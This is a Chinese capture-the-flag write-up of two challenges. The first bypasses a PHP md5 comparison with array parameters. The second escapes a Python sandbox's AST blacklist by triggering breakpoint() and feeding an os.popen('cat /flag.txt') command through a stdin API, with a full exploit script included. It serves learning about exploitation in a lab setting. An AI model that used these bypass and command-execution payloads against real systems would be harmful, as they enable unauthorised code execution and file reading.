ezmd5
进入实例之后发现php代码:
php
<?php
highlight_file(__FILE__);
error_reporting(0);
$flag_path = '/flag';
if (isset($_POST['user']) && isset($_POST['pass'])) {
$user = $_POST['user'];
$pass = $_POST['pass'];
if ($user !== $pass && md5($user) === md5($pass)) {
echo "Congratulations! Here is your flag: <br>";
echo file_get_contents($flag_path);
} else {
echo "Wrong! Hacker!";
}
} else {
echo "Please provide 'user' and 'pass' via POST.";
}
?> Please provide 'user' and 'pass' via POST.
发现:
php
if ($user !== $pass && md5($user) === md5($pass))
这行代码需要user 和 pass 的原始内容 必须不相等,但是它们的 MD5 哈希值 必须严格全等(类型和值都一样)。
漏洞分析
可以用数组绕过的方式做这道题。
原理: 在 PHP 8.0 之前,如果你给 md5() 函数传入一个 数组 (Array) 而不是字符串:
-
PHP 无法计算数组的哈希,会报一个 Warning(警告),但不会停止运行。
-
函数会返回NULL。
如果我们把 user 变成数组 [],md5($user) 返回NULL,把 pass 也变成数组 [],md5($pass) 也返回NULL。我们需要通过 POST 发送数据,把 user 和 pass 变成数组。
payload:
php
user[]=1&pass[]=2
我这里直接用浏览器插件HackBar发送POST请求,发送后即可拿到flag:

本题flag:POFP{723fc88c-cf92-4458-90bc-ae0915a0a5c7}
猫猫最后的复仇
题目介绍:这次猫猫长记性了,把多余的代码给移除了。但是猫猫很不服气,他觉得只要把环境变量清空,你们就不可能拿到flag。为此他甚至升级了一下他的AST分析和黑名单替换,ban掉了import。哼哼唧唧!不信你们还能绕过呜呜呜~
分析题目app.py代码可以发现:程序进行了严格的 AST 检查,对代码进行了递归的字符串替换(把 banned list 里的词删掉)。
黑名单里封禁了 pdb(模块名)、set_trace(方法名)、breakpointhook(钩子名)。
漏洞分析
程序运行起来后,提供了一个 /api/send_input 接口,可以将数据写入进程的 stdin。通过 stdin 输进去的内容,是不经过 AST 检查和黑名单替换的。
并且黑名单没有封禁内置函数:breakpoint()。
攻击步骤
在实例代码输入框中输入:
php
breakpoint()
看到网页显示:

确定了breakpoint可以运行,
最后运行解题脚本:
python
import requests
import time
import threading
import socketio
TARGET_URL = "http://ctf.furryctf.com:33773"
sio = socketio.Client()
current_pid = None
@sio.event
def output(data):
msg = data.get('data', '').strip()
if msg:
print(msg)
def solve():
global current_pid
# 1. 连接SocketIO
try:
sio.connect(TARGET_URL)
threading.Thread(target=sio.wait, daemon=True).start()
except:
return
# 2. 触发PDB调试器
try:
res = requests.post(f"{TARGET_URL}/api/run", json={"code": "breakpoint()", "args": ""})
current_pid = res.json().get('pid')
except:
return
time.sleep(2)
# 3. 发送Payload读取Flag
try:
requests.post(f"{TARGET_URL}/api/send_input", json={
"pid": current_pid,
"input": "import os; print(os.popen('cat /flag.txt').read())"
})
except:
return
time.sleep(5)
# 清理资源
if current_pid:
requests.post(f"{TARGET_URL}/api/terminate", json={"pid": current_pid})
sio.disconnect()
if __name__ == '__main__':
solve()
运行后看回显可获得flag:

脚本解析
sio = socketio.Client():创建一个 SocketIO 客户端对象 ------ 用来和服务器建立实时通信连接,接收 flag。
current_pid = None:用来存服务器上的 "进程 ID"(PID)。
@sio.event:给sio对象绑定一个 "监听规则"------ 当服务器有叫output的消息发过来时,自动执行下面的output函数。
def output(data):服务器发过来的消息会存在data里,我们要从中提取内容。
msg = data.get('data', '').strip():从服务器消息里抠出真正的内容,并去掉多余的空格 / 换行
json={"code": "breakpoint()", "args": ""}:提交的代码是breakpoint()------ 这行代码会触发 Python 的 PDB 调试器(相当于让服务器上的 Python 代码 "暂停运行,进入调试模式")。
"input": "import os; print(os.popen('cat /flag.txt').read())":发给调试器的攻击代码,拆解:
import os:导入 Python 的系统操作模块(只有导入这个才能执行系统命令);
os.popen('cat /flag.txt'):执行 Linux 系统命令cat /flag.txt(读取/flag.txt文件的内容);
.read():把命令执行的结果(flag 内容)读出来;
print(...):把 flag 内容打印出来 ------ 服务器会把这个打印的内容通过 SocketIO 推给我们(就是第三部分的output函数接收)。
总结
这个猫猫的复仇我本来想直接在实例里面breakpoint()之后直接执行import os; print(os.popen('cat /flag.txt').read())的,但是我试了几次都不太行,只能用ai的脚本,说实话这种用python发请求的脚本我还不是很懂,特别是python我没有专门学过(),不过用Burpsuite来发包还是更快更好一点,但是我的burpsuite还没有重新装回来......